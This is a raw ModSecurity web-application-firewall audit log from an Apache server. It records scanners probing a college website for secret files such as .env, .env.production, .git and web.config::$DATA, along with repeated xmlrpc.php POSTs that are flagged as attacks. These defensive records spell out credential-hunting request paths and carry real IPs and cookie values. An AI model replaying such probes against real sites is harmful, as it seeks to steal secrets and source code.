<https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f5773e91a35c2ff7d12fc56f0509b5861750032378; expires=Mon, 16 Jun 2025 01:06:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a0e42b53-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/env/.env"] [unique_id "aE9f-vthHqQhfrOWofuLfwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032378381303 668084 (- - -) Stopwatch2: 1750032378381303 668084; combined=1905, p1=400, p2=1407, p3=0, p4=0, p5=98, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a0e42b53-Z-- --149feb37-A-- [16/Jun/2025:05:36:21.063722 +0530] aE9f_K9aeHfzqoyJ7PMgzAAAABY 185.177.72.210 60472 127.0.0.1 7081 --149feb37-B-- GET /:8080/data/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --149feb37-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dc3f1ff3fb2783ee31f3daa2200b96e41750032380; expires=Mon, 16 Jun 2025 01:06:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --149feb37-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/data/.env"] [unique_id "aE9f_K9aeHfzqoyJ7PMgzAAAABY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032380400728 663058 (- - -) Stopwatch2: 1750032380400728 663058; combined=1986, p1=512, p2=1384, p3=0, p4=0, p5=89, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --149feb37-Z-- --581dcf4b-A-- [16/Jun/2025:05:36:27.075067 +0530] aE9gAtVsbyFDndheOrkx9wAAAAE 185.177.72.210 60758 127.0.0.1 7081 --581dcf4b-B-- GET /backups/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --581dcf4b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cf74bb157996c2f3bf256f87be3304cf1750032386; expires=Mon, 16 Jun 2025 01:06:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --581dcf4b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/.env.production"] [unique_id "aE9gAtVsbyFDndheOrkx9wAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032386428078 647064 (- - -) Stopwatch2: 1750032386428078 647064; combined=1778, p1=414, p2=1255, p3=0, p4=0, p5=108, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --581dcf4b-Z-- --482c0e7e-A-- [16/Jun/2025:05:36:30.048564 +0530] aE9gBfthHqQhfrOWofuLhAAAAAA 185.177.72.210 39926 127.0.0.1 7081 --482c0e7e-B-- GET /private/.git/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --482c0e7e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4e16341f1f27bb9922fd4929d1950d9c1750032389; expires=Mon, 16 Jun 2025 01:06:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --482c0e7e-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/.git/"] [unique_id "aE9gBfthHqQhfrOWofuLhAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032389345212 703416 (- - -) Stopwatch2: 1750032389345212 703416; combined=1935, p1=411, p2=1440, p3=0, p4=0, p5=83, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --482c0e7e-Z-- --daa7e83a-A-- [16/Jun/2025:05:36:34.785701 +0530] aE9gCqgCBnvq3q-iXzIBtQAAABc 185.177.72.210 40128 127.0.0.1 7081 --daa7e83a-B-- GET /:8000/.env.5 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --daa7e83a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b5ddf342da9f402565af256d519d496e1750032394; expires=Mon, 16 Jun 2025 01:06:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --daa7e83a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.5"] [unique_id "aE9gCqgCBnvq3q-iXzIBtQAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032394121650 664140 (- - -) Stopwatch2: 1750032394121650 664140; combined=1979, p1=377, p2=1486, p3=0, p4=0, p5=115, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --daa7e83a-Z-- --367f9c1e-A-- [16/Jun/2025:05:36:45.287369 +0530] aE9gFK9aeHfzqoyJ7PMg2AAAABY 185.177.72.210 52986 127.0.0.1 7081 --367f9c1e-B-- GET /examples/with-react-relay-network-modern/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --367f9c1e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1a27cc8926e55c1401b3c1ad73a49dc91750032405; expires=Mon, 16 Jun 2025 01:06:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --367f9c1e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/with-react-relay-network-modern/.env"] [unique_id "aE9gFK9aeHfzqoyJ7PMg2AAAABY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032404627562 659885 (- - -) Stopwatch2: 1750032404627562 659885; combined=1830, p1=389, p2=1327, p3=0, p4=0, p5=113, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --367f9c1e-Z-- --63e14845-A-- [16/Jun/2025:05:37:14.919356 +0530] aE9gMagCBnvq3q-iXzIBxwAAABc 128.199.112.101 34982 127.0.0.1 7081 --63e14845-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --63e14845-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --63e14845-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9gMagCBnvq3q-iXzIBxwAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032433962773 956741 (- - -) Stopwatch2: 1750032433962773 956741; combined=2145, p1=373, p2=1309, p3=48, p4=69, p5=211, sr=106, sw=135, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --63e14845-Z-- --bf66c977-A-- [16/Jun/2025:05:38:14.960482 +0530] aE9gbg9THibLN0xLxETtPgAAAAk 128.199.112.101 46474 127.0.0.1 7081 --bf66c977-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --bf66c977-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --bf66c977-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9gbg9THibLN0xLxETtPgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032494025474 935064 (- - -) Stopwatch2: 1750032494025474 935064; combined=2165, p1=392, p2=1321, p3=80, p4=62, p5=188, sr=112, sw=122, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bf66c977-Z-- --fc6b0434-A-- [16/Jun/2025:05:38:45.446312 +0530] aE9gjFEBvmqd8j7Fed2paAAAABM 185.177.72.210 48780 127.0.0.1 7081 --fc6b0434-B-- GET /web.config::$DATA HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fc6b0434-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9fd0c10d10b099713f31fa1ce3a17f751750032525; expires=Mon, 16 Jun 2025 01:08:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fc6b0434-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/web.config::$DATA"] [unique_id "aE9gjFEBvmqd8j7Fed2paAAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032524705385 740989 (- - -) Stopwatch2: 1750032524705385 740989; combined=1824, p1=398, p2=1348, p3=0, p4=0, p5=78, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fc6b0434-Z-- --13287c78-A-- [16/Jun/2025:05:38:46.514435 +0530] aE9gjagCBnvq3q-iXzIB6wAAABc 185.177.72.210 48840 127.0.0.1 7081 --13287c78-B-- GET /:9000/staging2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --13287c78-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6f2ed8c256443c0f61f69c7716db24b91750032526; expires=Mon, 16 Jun 2025 01:08:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --13287c78-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/staging2/.env"] [unique_id "aE9gjagCBnvq3q-iXzIB6wAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032525777780 736718 (- - -) Stopwatch2: 1750032525777780 736718; combined=1898, p1=365, p2=1434, p3=0, p4=0, p5=99, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --13287c78-Z-- --d1460a63-A-- [16/Jun/2025:05:38:49.554916 +0530] aE9gkFEBvmqd8j7Fed2pagAAABM 185.177.72.210 48986 127.0.0.1 7081 --d1460a63-B-- GET /:8008/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d1460a63-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dbb2d174a5586aa3c0f02e2f317f01ac1750032529; expires=Mon, 16 Jun 2025 01:08:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d1460a63-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/configurationtionura/.env"] [unique_id "aE9gkFEBvmqd8j7Fed2pagAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032528882057 672920 (- - -) Stopwatch2: 1750032528882057 672920; combined=1941, p1=387, p2=1469, p3=0, p4=0, p5=85, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d1460a63-Z-- --a6efeb2d-A-- [16/Jun/2025:05:39:15.542411 +0530] aE9gqqgCBnvq3q-iXzICBQAAABc 128.199.112.101 43762 127.0.0.1 7081 --a6efeb2d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a6efeb2d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a6efeb2d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9gqqgCBnvq3q-iXzICBQAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032554559409 983057 (- - -) Stopwatch2: 1750032554559409 983057; combined=1970, p1=349, p2=1262, p3=41, p4=60, p5=162, sr=91, sw=96, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a6efeb2d-Z-- --0ec3cd6c-A-- [16/Jun/2025:05:40:06.849267 +0530] aE9g3qgCBnvq3q-iXzICJwAAABc 185.177.72.210 40968 127.0.0.1 7081 --0ec3cd6c-B-- GET /.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0ec3cd6c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=845d9026d560379c6e69c2f3d351cef41750032606; expires=Mon, 16 Jun 2025 01:10:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0ec3cd6c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.production"] [unique_id "aE9g3qgCBnvq3q-iXzICJwAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032606002360 846972 (- - -) Stopwatch2: 1750032606002360 846972; combined=1778, p1=359, p2=1321, p3=0, p4=0, p5=98, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0ec3cd6c-Z-- --181c0c20-A-- [16/Jun/2025:05:40:15.892087 +0530] aE9g5j_3U3BzRxhKqekm_AAAAAM 128.199.112.101 58240 127.0.0.1 7081 --181c0c20-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --181c0c20-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --181c0c20-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9g5j_3U3BzRxhKqekm_AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032614900492 991651 (- - -) Stopwatch2: 1750032614900492 991651; combined=2953, p1=565, p2=2008, p3=34, p4=50, p5=194, sr=83, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --181c0c20-Z-- --88620652-A-- [16/Jun/2025:05:40:22.407282 +0530] aE9g7fthHqQhfrOWofuMAAAAAAA 185.177.72.210 42244 127.0.0.1 7081 